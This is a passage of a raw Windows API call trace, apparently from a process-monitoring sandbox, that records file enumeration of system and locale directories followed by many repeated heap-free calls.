	[0042.118] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0042.123] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.123] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0042.125] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.125] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0042.125] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.125] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0042.125] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.126] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0042.126] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.126] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0042.126] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.126] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0042.127] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.127] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0042.127] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.127] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0042.128] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.128] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0042.128] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.128] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0042.129] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.129] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0042.130] FindClose (in: hFindFile=0x742bb0 | out: hFindFile=0x742bb0) returned 1
	[0042.130] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.130] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0042.132] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.132] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0042.133] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.133] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0042.133] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.133] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0042.133] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.133] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0042.134] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.134] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0042.134] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.134] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0042.135] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.135] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0042.135] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.135] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0042.135] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.135] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0042.136] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.136] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0042.136] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.136] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0042.137] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.137] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0042.137] FindClose (in: hFindFile=0x742c30 | out: hFindFile=0x742c30) returned 1
	[0042.137] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3b30728 | out: hHeap=0x650000) returned 1
	[0042.137] FindNextFileW (in: hFindFile=0x66a4b0, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0042.138] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3b30728 | out: hHeap=0x650000) returned 1
	[0042.157] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3b30728 | out: hHeap=0x650000) returned 1
	[0042.385] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3b30728 | out: hHeap=0x650000) returned 1
	[0042.385] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3b30728 | out: hHeap=0x650000) returned 1
	[0042.385] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0043.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0043.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.157] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.159] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.159] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.159] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.160] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.161] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.162] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.162] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.164] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.164] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.164] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.327] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.327] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.330] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.331] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.331] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.331] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.334] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0043.334] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.336] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.336] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.336] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.336] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.446] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.446] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.446] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.448] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.449] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.449] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.449] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.449] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.449] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.449] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.449] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.451] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.451] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.451] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.451] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.453] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.453] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.453] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.453] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.455] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0043.455] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.455] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.455] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0043.458] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0043.458] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.462] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.462] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.465] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.465] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0043.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.891] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0043.892] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.065] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0044.065] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.065] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.066] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0044.066] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0044.243] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
